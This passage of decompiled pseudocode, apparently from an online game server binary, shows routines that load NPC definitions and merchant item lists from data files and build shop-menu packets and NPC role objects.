[sp+10h] [bp-7Ch]@1 int slot; // [sp+14h] [bp-78h]@2 int rec; // [sp+18h] [bp-74h]@2 char *flag; // [sp+1Ch] [bp-70h]@1 ORToken *records; // [sp+20h] [bp-6Ch]@2 int tables; // [sp+24h] [bp-68h]@1 ORToken *v29; // [sp+28h] [bp-64h]@4 int type; // [sp+2Ch] [bp-60h]@4 char tabname[10]; // [sp+30h] [bp-5Ch]@2 char colname[10]; // [sp+3Ch] [bp-50h]@4 char buffer[64]; // [sp+48h] [bp-44h]@5 unsigned int v34; // [sp+88h] [bp-4h]@1 v2 = this; v3 = this->ilo_TempBuffer; v34 = (unsigned int)&tab ^ __security_cookie; v4 = 0; v3->itemnum = 0; flag = (char *)mobindex; v5 = 0; tables = OptionReader::or_SelectCount(&v2->baseclass_0); tab = 0; if ( tables > 0 ) { do { v22 = v5; sprintf(tabname, "Tab%02d"); records = &v18; v22 = v4; v21 = v4; v20 = v4; v19 = (char *)v4; *(_DWORD *)&v18.ort_Name[0] = v4; strncpy(v18.ort_Name, tabname, 0x14u); v6 = 0; records = (ORToken *)OptionReader::or_SelectCountFrom(&v2->baseclass_0, v18); slot = -1; rec = 0; if ( (signed int)records > v4 ) { do { v7 = 0; do { v22 = v7; ++slot; sprintf(colname, "Column%02d"); v22 = (unsigned int)&type; v21 = v4; v20 = v6; v19 = "Rec"; v29 = &v14; *(_DWORD *)&v18.ort_Name[0] = v4; v17 = v4; v16 = v4; v15 = v4; *(_DWORD *)&v14.ort_Name[0] = v4; strncpy(v14.ort_Name, tabname, 0x14u); v8 = OptionReader::or_Select(&v2->baseclass_0, colname, v14, v19, v20, v21, (int *)v22); if ( v8 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "NPCItemList::ItemListOption::ilo_PacketMake : No data", flag); v22 = v7; v21 = v6; v20 = tab; sprintf(buffer, "T[%d] R[%d] C[%d]"); AssertClass::ac_AssertFail(&shineassert, "NPCItemList::ItemListOption::ilo_PacketMake", buffer); ShineExit("NPCItemList::ItemListOption::ilo_PacketMake"); } if ( *(_BYTE *)v8 != 45 ) { v9 = BTree::operator__(&stru_131DE8B8, (const char *)v8); v10 = -1; if ( v9 != -1 ) v10 = v9; if ( v10 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "NPCItemList::ItemListOption::ilo_PacketMake : Invalid item index", (const char *)v8); } else { v11 = v2->ilo_TempBuffer; v12 = v11->itemnum >= 0x3E8u; v29 = (ORToken *)(v11->itemnum < 0x3E8u); if ( v12 ) { AssertClass::ac_AssertFail( &shineassert, "NPCItemList::ItemListOption::ilo_PacketMake : Too many items", flag); ShineExit("NPCItemList::ItemListOption::ilo_PacketMake"); } *((_BYTE *)&v2->ilo_TempBuffer[1].itemnum + 2 * v2->ilo_TempBuffer->itemnum + v2->ilo_TempBuffer->itemnum) = slot; *(unsigned __int16 *)((char *)&v2->ilo_TempBuffer[1].itemnum + 2 * v2->ilo_TempBuffer->itemnum + v2->ilo_TempBuffer->itemnum + 1) = v10; ++v2->ilo_TempBuffer->itemnum; } v6 = rec; } ++v7; v4 = 0; } while ( v7 < 6 ); ++v6; rec = v6; } while ( v6 < (signed int)records ); v5 = tab; } ++v5; tab = v5; } while ( v5 < tables ); } v22 = 3 * v2->ilo_TempBuffer->itemnum + 4; result = (PROTO_NC_MENU_SHOPOPENTABLE_CMD *)operator new__(v22); *(_DWORD *)&result->itemnum = *v2->ilo_TempBuffer; memcpy(&result[1], &v2->ilo_TempBuffer[1], 3 * v2->ilo_TempBuffer->itemnum); return result; } //----- (004AF090) -------------------------------------------------------- PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::NPCItemListTable::nilt_MenuPacket(NPCItemList::NPCItemListTable *this, const char *mobindex) { NPCItemList::NPCItemListTable *v2; // esi@1 unsigned int v3; // eax@1 PROTO_NC_MENU_SHOPOPENTABLE_CMD *result; // eax@3 PROTO_NC_MENU_SHOPOPENTABLE_CMD *v5; // esi@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "NPCItemList::NPCItemListTable::nilt_MenuPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCItemList::NPCItemListTable::nilt_MenuPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = BTree::operator__(&v2->nilt_Index2Handle, mobindex); if ( v3 != -1 && v3 < 0x64 ) { v5 = v2->nilt_Packet[v3]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "NPCItemList::NPCItemListTable::nilt_MenuPacket"); result = v5; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "NPCItemList::NPCItemListTable::nilt_MenuPacket"); result = 0; } return result; } //----- (004AF170) -------------------------------------------------------- void __thiscall NPCItemList::NPCItemListTable::nilt_ReadTable(NPCItemList::NPCItemListTable *this, const char *mobindex) { NPCItemList::NPCItemListTable *v2; // esi@1 signed int v3; // eax@1 void *v4; // eax@4 int v5; // eax@5 int v6; // edi@5 int v7; // esi@8 char *v8; // eax@8 unsigned int v9; // [sp-4h] [bp-A4h]@9 void *v10; // [sp-4h] [bp-A4h]@11 void *v11; // [sp+Ch] [bp-94h]@1 char path[128]; // [sp+10h] [bp-90h]@4 unsigned int v13; // [sp+90h] [bp-10h]@1 int v14; // [sp+9Ch] [bp-4h]@4 v2 = this; v13 = (unsigned int)&v11 ^ __security_cookie; v3 = this->nilt_TableNumber; if ( v3 >= 100 ) { AssertClass::ac_AssertFail(&shineassert, "NPCItemList::NPCItemListTable::nilt_ReadTable : Too many merchants", v3); ShineExit("NPCItemList::NPCItemListTable::nilt_ReadTable"); } sprintf(path, "../9Data/Hero/NPCItemList/%s.txt"); v4 = operator new(0x10858u); v11 = v4; v14 = 0; if ( v4 ) { NPCItemList::ItemListOption::ItemListOption((NPCItemList::ItemListOption *)v4); v6 = v5; } else { v6 = 0; } v14 = -1; if ( !OptionReader::or_Read((OptionReader *)v6, path) ) { AssertClass::ac_AssertFail(&shineassert, "NPCItemList::NPCItemListTable::nilt_ReadTable : Read error", path); v7 = OptionReader::or_ErrorLine((OptionReader *)v6); v8 = OptionReader::or_ErrorString((OptionReader *)v6); AssertClass::ac_AssertFail(&shineassert, v8, v7); goto LABEL_13; } v2->nilt_Packet[v2->nilt_TableNumber] = NPCItemList::ItemListOption::ilo_PacketMake( (NPCItemList::ItemListOption *)v6, mobindex); v9 = v2->nilt_TableNumber; if ( v2->nilt_Packet[v2->nilt_TableNumber] ) { BTree::bt_Insert(&v2->nilt_Index2Handle, mobindex, v9); ++v2->nilt_TableNumber; LABEL_13: if ( v6 ) { v10 = *(void **)(v6 + 67668); goto LABEL_15; } goto LABEL_16; } AssertClass::ac_AssertFail(&shineassert, "NPCItemList::NPCItemListTable::nilt_ReadTable : Packet make err", v9); if ( v6 ) { v10 = *(void **)(v6 + 67668); LABEL_15: operator delete(v10); OptionReader::_OptionReader((OptionReader *)v6); operator delete((void *)v6); } LABEL_16: __security_check_cookie((unsigned int)&v11 ^ v13); } //----- (004AF300) -------------------------------------------------------- OptionReader *__thiscall NPCManager::operator_>(NPCManager *this) { return &this->nm_NPCInfo; } //----- (004AF310) -------------------------------------------------------- void __thiscall NPCManager::NPCManager(NPCManager *this) { OptionReader::OptionReader(&this->nm_NPCInfo); } //----- (004AF350) -------------------------------------------------------- void __thiscall NPCRoleBase::NPCRoleBase(NPCRoleBase *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRoleBase *v2; // esi@1 char *v3; // eax@2 char v4[4]; // [sp+8h] [bp-14h]@2 int v5; // [sp+Ch] [bp-10h]@2 int v6; // [sp+10h] [bp-Ch]@2 int v7; // [sp+14h] [bp-8h]@2 int v8; // [sp+18h] [bp-4h]@2 v2 = this; this->vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; *(_QWORD *)&this->nrb_argument.ort_Name[12] = 0i64; *(_QWORD *)&this->nrb_argument.ort_Name[4] = 0i64; *(_DWORD *)&this->nrb_argument.ort_Name[0] = 0; if ( npctemplet ) { v3 = (char *)&npctemplet->rolearg; } else { v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)v4 = 0; strncpy(v4, byte_635E1E, 0x14u); v3 = v4; } *(_DWORD *)&v2->nrb_argument.ort_Name[0] = *(_DWORD *)v3; *(_DWORD *)&v2->nrb_argument.ort_Name[4] = *((_DWORD *)v3 + 1); *(_DWORD *)&v2->nrb_argument.ort_Name[8] = *((_DWORD *)v3 + 2); *(_DWORD *)&v2->nrb_argument.ort_Name[12] = *((_DWORD *)v3 + 3); *(_DWORD *)&v2->nrb_argument.ort_Name[16] = *((_DWORD *)v3 + 4); } // 64ED38: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004AF3D0) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall NPCRoleBase::nrb_linkinform(NPCRoleBase *this, int num) { AssertClass::ac_AssertFail(&shineassert, "NPCRoleBase::nrb_linkinform", 0); return 0; } //----- (004AF3F0) -------------------------------------------------------- void __thiscall NPCRoleBase::_NPCRoleBase(NPCRoleBase *this) { this->vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; } // 64ED38: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004AF400) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall NPCRole_Portal::nrb_linkinform(NPCRole_Portal *this, int num) { int v3; // [sp-18h] [bp-18h]@1 int v4; // [sp-14h] [bp-14h]@1 int v5; // [sp-10h] [bp-10h]@1 int v6; // [sp-Ch] [bp-Ch]@1 int v7; // [sp-8h] [bp-8h]@1 int v8; // [sp-4h] [bp-4h]@1 v8 = num; v7 = 0; v6 = 0; v5 = 0; v4 = 0; v3 = 0; strncpy((char *)&v3, "LinkTable", 0x14u); return (NPCManager::LinkInformTemplete *)OptionReader::or_SelectFromOrder(&stru_D76CBEC, *(ORToken *)&v3, v8); } //----- (004AF440) -------------------------------------------------------- void __thiscall NPCRole_ID_Portal::NPCRole_ID_Portal(NPCRole_ID_Portal *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_ID_Portal *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0.baseclass_0, npctemplet); v2->baseclass_0.nrb_BrenchNumber = 0; v2->baseclass_0.nrb_LinkNum = 0; v2->baseclass_0.nrb_pSaveLinkInfo[0] = 0; v2->baseclass_0.nrb_pSaveLinkInfo[1] = 0; v2->baseclass_0.nrb_pSaveLinkInfo[2] = 0; v2->baseclass_0.nrb_pSaveLinkInfo[3] = 0; v2->baseclass_0.nrb_pSaveLinkInfo[4] = 0; v2->baseclass_0.baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRole_ID_Portal::_vftable_; } // 64EC68: using guessed type int (__stdcall *NPCRole_ID_Portal___vftable_)(#593 *, int npcfunc, __int16 npchandle); //----- (004AF490) -------------------------------------------------------- void __thiscall NPCRole_RandomMulti_Portal::NPCRole_RandomMulti_Portal(NPCRole_RandomMulti_Portal *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_RandomMulti_Portal *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0.baseclass_0, npctemplet); v2->baseclass_0.nrb_BrenchNumber = 0; v2->baseclass_0.nrb_LinkNum = 0; v2->baseclass_0.nrb_pSaveLinkInfo[0] = 0; v2->baseclass_0.nrb_pSaveLinkInfo[1] = 0; v2->baseclass_0.nrb_pSaveLinkInfo[2] = 0; v2->baseclass_0.nrb_pSaveLinkInfo[3] = 0; v2->baseclass_0.nrb_pSaveLinkInfo[4] = 0; v2->baseclass_0.baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRole_RandomMulti_Portal::_vftable_; } // 64EC9C: using guessed type int (__stdcall *NPCRole_RandomMulti_Portal___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004AF4E0) -------------------------------------------------------- void __thiscall NPCRole_Guard::NPCRole_Guard(NPCRole_Guard *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_Guard *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0, npctemplet); v2->baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; } // 64ED38: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004AF500) -------------------------------------------------------- void __thiscall NPCRole_MenuOpen::NPCRole_MenuOpen(NPCRole_MenuOpen *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_MenuOpen *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0, npctemplet); v2->baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRole_MenuOpen::_vftable_; } // 64ED6C: using guessed type int (__stdcall *NPCRole_MenuOpen___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004AF520) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 5u, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004AF5D0) -------------------------------------------------------- void __thiscall NPCManager::nm_Load(NPCManager *this, Name4 *world) { NPCManager *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 int v5; // eax@1 int v6; // eax@2 int v7; // eax@6 NPCManager::NPCInformTemplete *v8; // eax@8 int v9; // eax@9 int v10; // edi@9 unsigned int v11; // ebp@9 unsigned int v12; // ecx@9 unsigned int v13; // edx@9 unsigned int v14; // eax@9 void *v15; // edi@12 int v16; // eax@15 int v17; // ecx@15 void *v18; // edi@24 void *v19; // edi@29 void *v20; // edi@34 void *v21; // edi@40 void *v22; // edi@46 void *v23; // eax@52 NPCRoleBase *v24; // eax@53 void *v25; // eax@55 NPCRoleBase *v26; // eax@56 void *v27; // eax@58 NPCRoleBase *v28; // eax@59 void *v29; // eax@61 NPCRoleBase *v30; // eax@62 signed int i; // esi@70 void *v32; // eax@71 char v33; // cl@72 ORToken v34; // [sp-18h] [bp-1D4h]@8 int v35; // [sp-14h] [bp-1D0h]@8 int v36; // [sp-10h] [bp-1CCh]@8 char *v37; // [sp-Ch] [bp-1C8h]@8 const char *v38; // [sp-8h] [bp-1C4h]@8 signed int v39; // [sp-4h] [bp-1C0h]@8 int v40; // [sp+10h] [bp-1ACh]@1 char v41[4]; // [sp+14h] [bp-1A8h]@31 __int64 v42; // [sp+18h] [bp-1A4h]@31 __int64 v43; // [sp+20h] [bp-19Ch]@31 char v44[4]; // [sp+28h] [bp-194h]@37 __int64 v45; // [sp+2Ch] [bp-190h]@37 __int64 v46; // [sp+34h] [bp-188h]@37 char v47[4]; // [sp+3Ch] [bp-180h]@15 int v48; // [sp+40h] [bp-17Ch]@15 int v49; // [sp+44h] [bp-178h]@15 int v50; // [sp+48h] [bp-174h]@15 int v51; // [sp+4Ch] [bp-170h]@15 char v52[4]; // [sp+50h] [bp-16Ch]@21 __int64 v53; // [sp+54h] [bp-168h]@21 __int64 v54; // [sp+5Ch] [bp-160h]@21 char v55[4]; // [sp+64h] [bp-158h]@9 __int64 v56; // [sp+68h] [bp-154h]@9 __int64 v57; // [sp+70h] [bp-14Ch]@9 char v58[4]; // [sp+78h] [bp-144h]@26 __int64 v59; // [sp+7Ch] [bp-140h]@26 __int64 v60; // [sp+84h] [bp-138h]@26 char v61[4]; // [sp+8Ch] [bp-130h]@49 __int64 v62; // [sp+90h] [bp-12Ch]@49 __int64 v63; // [sp+98h] [bp-124h]@49 char v64[4]; // [sp+A0h] [bp-11Ch]@43 __int64 v65; // [sp+A4h] [bp-118h]@43 __int64 v66; // [sp+ACh] [bp-110h]@43 ORToken *v67; // [sp+B4h] [bp-108h]@8 char nm[4]; // [sp+B8h] [bp-104h]@54 int v69; // [sp+BCh] [bp-100h]@54 int v70; // [sp+C0h] [bp-FCh]@54 int v71; // [sp+C4h] [bp-F8h]@54 int v72; // [sp+C8h] [bp-F4h]@54 FunctionEntarance _; // [sp+CCh] [bp-F0h]@1 char v74; // [sp+D0h] [bp-ECh]@57 char v75; // [sp+E4h] [bp-D8h]@60 ORToken thisa; // [sp+F8h] [bp-C4h]@9 int buf; // [sp+10Ch] [bp-B0h]@1 int v78; // [sp+110h] [bp-ACh]@1 int v79; // [sp+114h] [bp-A8h]@1 int v80; // [sp+118h] [bp-A4h]@1 char v81; // [sp+11Ch] [bp-A0h]@1 char path[128]; // [sp+12Ch] [bp-90h]@1 unsigned int v83; // [sp+1ACh] [bp-10h]@1 int v84; // [sp+1B8h] [bp-4h]@1 v2 = this; v83 = (unsigned int)&v40 ^ __security_cookie; _.fe_FunctionCode = "NPCManager::nm_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCManager::nm_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCManager::nm_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v5 = *(_DWORD *)&world->n4_name[12]; v78 = v3; v79 = v4; v84 = 0; v80 = v5; v81 = 0; sprintf(path, "../9Data/Hero/World/%s/NPC.txt"); if ( !OptionReader::or_Read(&v2->nm_NPCInfo, path) ) { BYTE3(v40) = OptionReader::or_Read(&v2->nm_NPCInfo, "../9Data/Hero/World/NPC.txt"); v6 = OptionReader::or_ErrorLine(&v2->nm_NPCInfo); if ( !BYTE3(v40) ) { AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_Load : Error in NPC inform", v6); ShineExit("NPCManager::nm_Load"); } } v2->nm_BufferPoint = 0; do { v2->nm_BufferArray[v2->nm_BufferPoint].pnt = 0; v2->nm_BufferArray[v2->nm_BufferPoint].func = 0; v2->nm_BufferArray[v2->nm_BufferPoint].handle = -1; v7 = v2->nm_BufferPoint + 1; v2->nm_BufferPoint = v7; } while ( (unsigned int)v7 < 0x400 ); v2->nm_BufferPoint = 0; while ( 1 ) { v39 = v2->nm_BufferPoint; v67 = &v34; v38 = 0; v37 = 0; v36 = 0; v35 = 0; *(_DWORD *)&v34.ort_Name[0] = 0; strncpy(v34.ort_Name, "ShineNPC", 0x14u); v2->nm_BufferArray[v2->nm_BufferPoint].pnt = (NPCManager::NPCInformTemplete *)OptionReader::or_SelectFromOrder( &v2->nm_NPCInfo, v34, v39); v8 = v2->nm_BufferArray[v2->nm_BufferPoint].pnt; if ( !v8 ) break; v9 = (int)&v8->role; v10 = *(_DWORD *)v9; v11 = *(_DWORD *)(v9 + 4); v12 = *(_DWORD *)(v9 + 8); v13 = *(_DWORD *)(v9 + 12); v14 = *(_DWORD *)(v9 + 16); *(_DWORD *)&thisa.ort_Name[0] = v10; *(_QWORD *)&thisa.ort_Name[4] = __PAIR__(v12, v11); *(_QWORD *)&thisa.ort_Name[12] = __PAIR__(v14, v13); v57 = 0i64; v56 = 0i64; *(_DWORD *)v55 = 0; strncpy(v55, "Merchant", 0x14u); if ( v10 != *(_DWORD *)v55 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v56 || *(_QWORD *)&thisa.ort_Name[12] != v57 ) { v54 = 0i64; v53 = 0i64; *(_DWORD *)v52 = 0; strncpy(v52, "JobManager", 0x14u); if ( v10 != *(_DWORD *)v52 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v53 || *(_QWORD *)&thisa.ort_Name[12] != v54 ) { v60 = 0i64; v59 = 0i64; *(_DWORD *)v58 = 0; strncpy(v58, "Gate", 0x14u); if ( v10 != *(_DWORD *)v58 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v59 || *(_QWORD *)&thisa.ort_Name[12] != v60 ) { v43 = 0i64; v42 = 0i64; *(_DWORD *)v41 = 0; strncpy(v41, "QuestNpc", 0x14u); if ( v10 != *(_DWORD *)v41 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v42 || *(_QWORD *)&thisa.ort_Name[12] != v43 ) { v46 = 0i64; v45 = 0i64; *(_DWORD *)v44 = 0; strncpy(v44, "StoreManager", 0x14u); if ( v10 != *(_DWORD *)v44 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v45 || *(_QWORD *)&thisa.ort_Name[12] != v46 ) { v66 = 0i64; v65 = 0i64; *(_DWORD *)v64 = 0; strncpy(v64, "ClientMenu", 0x14u); if ( v10 != *(_DWORD *)v64 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v65 || *(_QWORD *)&thisa.ort_Name[12] != v66 ) { v63 = 0i64; v62 = 0i64; *(_DWORD *)v61 = 0; strncpy(v61, "Guard", 0x14u); if ( v10 != *(_DWORD *)v61 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v62 || *(_QWORD *)&thisa.ort_Name[12] != v63 ) { v72 = 0; v71 = 0; v70 = 0; v69 = 0; *(_DWORD *)nm = 0; strncpy(nm, "NPCMenu", 0x14u); if ( ORToken::operator__(&thisa, (ORToken *)nm) ) { v25 = operator new(0x18u); if ( !v25 ) goto LABEL_63; v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_MenuOpen::NPCRole_MenuOpen((NPCRole_MenuOpen *)v25, (NPCManager::NPCInformTemplete *)v39); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v26; } else { ORToken::ORToken((ORToken *)&v74, "IDGate"); if ( ORToken::operator__(&thisa, (ORToken *)&v74) ) { v27 = operator new(0x9Cu); if ( !v27 ) goto LABEL_63; v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_ID_Portal::NPCRole_ID_Portal( (NPCRole_ID_Portal *)v27, (NPCManager::NPCInformTemplete *)v39); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v28; } else { ORToken::ORToken((ORToken *)&v75, "RandomGate"); if ( !ORToken::operator__(&thisa, (ORToken *)&v75) ) { AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_Load : Invalid NPC Role", 0); ShineExit("NPCManager::nm_Load"); } v29 = operator new(0x9Cu); if ( v29 ) { v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_RandomMulti_Portal::NPCRole_RandomMulti_Portal( (NPCRole_RandomMulti_Portal *)v29, (NPCManager::NPCInformTemplete *)v39); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v30; } else { LABEL_63: v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } } else { v23 = operator new(0x18u); if ( !v23 ) goto LABEL_63; v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_Guard::NPCRole_Guard((NPCRole_Guard *)v23, (NPCManager::NPCInformTemplete *)v39); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v24; } } else { v22 = operator new(0x18u); if ( v22 ) { v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v22, (NPCManager::NPCInformTemplete *)v39); *(_DWORD *)v22 = &NPCRoleBase::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v22; } else { LABEL_48: v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v21 = operator new(0x18u); if ( v21 ) { v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v21, (NPCManager::NPCInformTemplete *)v39); *(_DWORD *)v21 = &NPCRole_StoreManager::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v21; } else { v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v20 = operator new(0x18u); if ( v20 ) { v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v20, (NPCManager::NPCInformTemplete *)v39); *(_DWORD *)v20 = &NPCRole_JobManager::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v20; } else { LABEL_36: v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v19 = operator new(0x9Cu); if ( !v19 ) goto LABEL_48; v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v19, (NPCManager::NPCInformTemplete *)v39); *(_DWORD *)v19 = &NPCRole_Portal::_vftable_; *((_DWORD *)v19 + 6) = 0; *((_DWORD *)v19 + 33) = 0; *((_DWORD *)v19 + 34) = 0; *((_DWORD *)v19 + 35) = 0; *((_DWORD *)v19 + 36) = 0; *((_DWORD *)v19 + 37) = 0; *((_DWORD *)v19 + 38) = 0; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v19; } } else { v18 = operator new(0x18u); if ( !v18 ) goto LABEL_36; v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v18, (NPCManager::NPCInformTemplete *)v39); *(_DWORD *)v18 = &NPCRole_JobManager::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v18; } } else { v15 = operator new(0x18u); if ( v15 ) { v39 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v15, (NPCManager::NPCInformTemplete *)v39); *(_DWORD *)v15 = &NPCRole_Merchant::_vftable_; } else { v15 = 0; } v16 = v2->nm_BufferPoint; v39 = 20; v38 = "SoulStone"; v37 = v47; v2->nm_BufferArray[v16].func = (NPCRoleBase *)v15; v51 = 0; v50 = 0; v49 = 0; v48 = 0; *(_DWORD *)v47 = 0; strncpy(v37, v38, v39); v17 = (int)((char *)v2 + 12 * v2->nm_BufferPoint); if ( *(_DWORD *)(*(_DWORD *)v17 + 84) == *(_DWORD *)v47 && *(_DWORD *)(*(_DWORD *)v17 + 88) == v48 && *(_DWORD *)(*(_DWORD *)v17 + 92) == v49 && *(_DWORD *)(*(_DWORD *)v17 + 96) == v50 && *(_DWORD *)(*(_DWORD *)v17 + 100) == v51 ) { ++v2->nm_BufferPoint; } else { v39 = *(_DWORD *)v17; NPCItemList::NPCItemListTable::nilt_ReadTable(&npcitemlist, (const char *)v39); ++v2->nm_BufferPoint; } } } if ( v2->nm_BufferPoint <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_Load : Empty NPC inform", 0); ShineExit("NPCManager::nm_Load"); } for ( i = 0; ; ++i ) { v39 = i; v67 = &v34; v38 = 0; v37 = 0; v36 = 0; v35 = 0; *(_DWORD *)&v34.ort_Name[0] = 0; strncpy(v34.ort_Name, "LinkTable", 0x14u); v32 = OptionReader::or_SelectFromOrder(&stru_D76CBEC, v34, v39); if ( !v32 ) break; v33 = *((_BYTE *)v32 + 100); if ( v33 && v33 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "Error at LinkTable in NPC.txt", (const char *)v32 + 20); ShineExit("NPCManager::nm_Load"); } } --funcallanalizer.fca_stackpoint; v84 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCManager::nm_Load"); __security_check_cookie((unsigned int)&v40 ^ v83); } // 64EC00: using guessed type int (__stdcall *NPCRole_JobManager___vftable_)(int nLocation, int LocationX, int LocationY); // 64EC34: using guessed type int (__stdcall *NPCRole_Portal___vftable_)(int, int npcfunc, __int16 npchandle); // 64ECD0: using guessed type int (__stdcall *NPCRole_StoreManager___vftable_)(int, int npcfunc, __int16 npchandle); // 64ED04: using guessed type int (__thiscall *NPCRole_Merchant___vftable_)(NPCRole_Merchant *this, #734 *, int npcfunc, __int16 npchandle); // 64ED38: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004B0050) -------------------------------------------------------- #error "4B0050: undefined or illegal type '#593' (funcsize=248)" //----- (004B0390) -------------------------------------------------------- void __thiscall NPCManager::nm_MarkingNPC(NPCManager *this, Name8 MobIndex) { NPCManager *v2; // edi@1 int v3; // eax@1 const char *v4; // eax@2 unsigned int v5; // eax@10 __int16 v6; // bp@10 void *v7; // esi@13 const char *v8; // eax@15 NPCManager::NPCInformTemplete *v9; // eax@15 int v10; // edx@15 unsigned int v11; // ecx@15 unsigned int v12; // eax@15 int v13; // edx@17 int v14; // [sp-Ch] [bp-6Ch]@15 int v15; // [sp-8h] [bp-68h]@15 unsigned int v16; // [sp-4h] [bp-64h]@15 unsigned int v17; // [sp+0h] [bp-60h]@15 const char *v18; // [sp+4h] [bp-5Ch]@10 int n; // [sp+18h] [bp-48h]@1 NPCManager *v20; // [sp+1Ch] [bp-44h]@1 char v21[4]; // [sp+20h] [bp-40h]@2 int v22; // [sp+24h] [bp-3Ch]@2 int v23; // [sp+28h] [bp-38h]@2 int v24; // [sp+2Ch] [bp-34h]@2 int v25; // [sp+30h] [bp-30h]@2 int 